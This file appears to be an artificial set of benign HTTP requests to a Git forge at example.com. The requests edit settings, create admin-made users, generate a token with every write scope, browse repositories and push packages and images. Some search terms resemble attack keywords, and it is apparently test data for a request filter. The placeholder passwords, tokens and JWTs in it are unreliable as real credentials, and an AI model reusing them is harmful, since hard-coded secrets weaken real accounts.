{"method": "GET", "target": "/assets/css/diff-commit-selector.17df8f29.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/diff-commit-selector.302a470f.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "name=alice&full_name=Alice+Example&pronouns=&biography=Writes+build+tools.&website=https%3A%2F%2Fexample.com&location=Springfield&visibility=0"}
|
||||||
|
{"method": "POST", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 185", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&login_type=0-0&visibility=0&login_name=&user_name=carol&email=carol%40example.com&password=Qe5-tVb7-Mn3c-Kj8y&must_change_password=on"}
|
||||||
|
{"method": "GET", "target": "/admin/users/4", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2B%2522carol%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/d4766e3f21c67b7c786f012d910fa54f?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/4", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 265", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&user_name=bob&login_type=0-0&visibility=0&login_name=&full_name=Bob+Example&pronouns=&email=bob%40example.com&password=&language=en-US&website=&location=&max_repo_creation=-1&active=on&allow_create_organization=on"}
|
||||||
|
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
||||||
|
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 241", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=34fdf904aa90270d; lang=en-US"], "body": "name=build-token&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
|
||||||
|
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 254", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US"], "body": "name=build-token&resource=all&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
|
||||||
|
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US; flash=info%3D518efde244d57864ef12487cdec73aa828e5deaf%26success%3DYour%2Bnew%2Btoken%2Bhas%2Bbeen%2Bgenerated.%2BCopy%2Bit%2Bnow%2Bas%2Bit%2Bwill%2Bnot%2Bbe%2Bshown%2Bagain."], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/version", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/user", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/settings/api", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=all&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches/python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/tags", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/scripts/install-script.sh?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/raw/bin/docker-entrypoint", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
|
||||||
|
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
|
||||||
|
{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
|
||||||
|
{"method": "GET", "target": "/v2/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "HEAD", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
||||||
|
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/v2/alice/python3-app/blobs/uploads/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
||||||
|
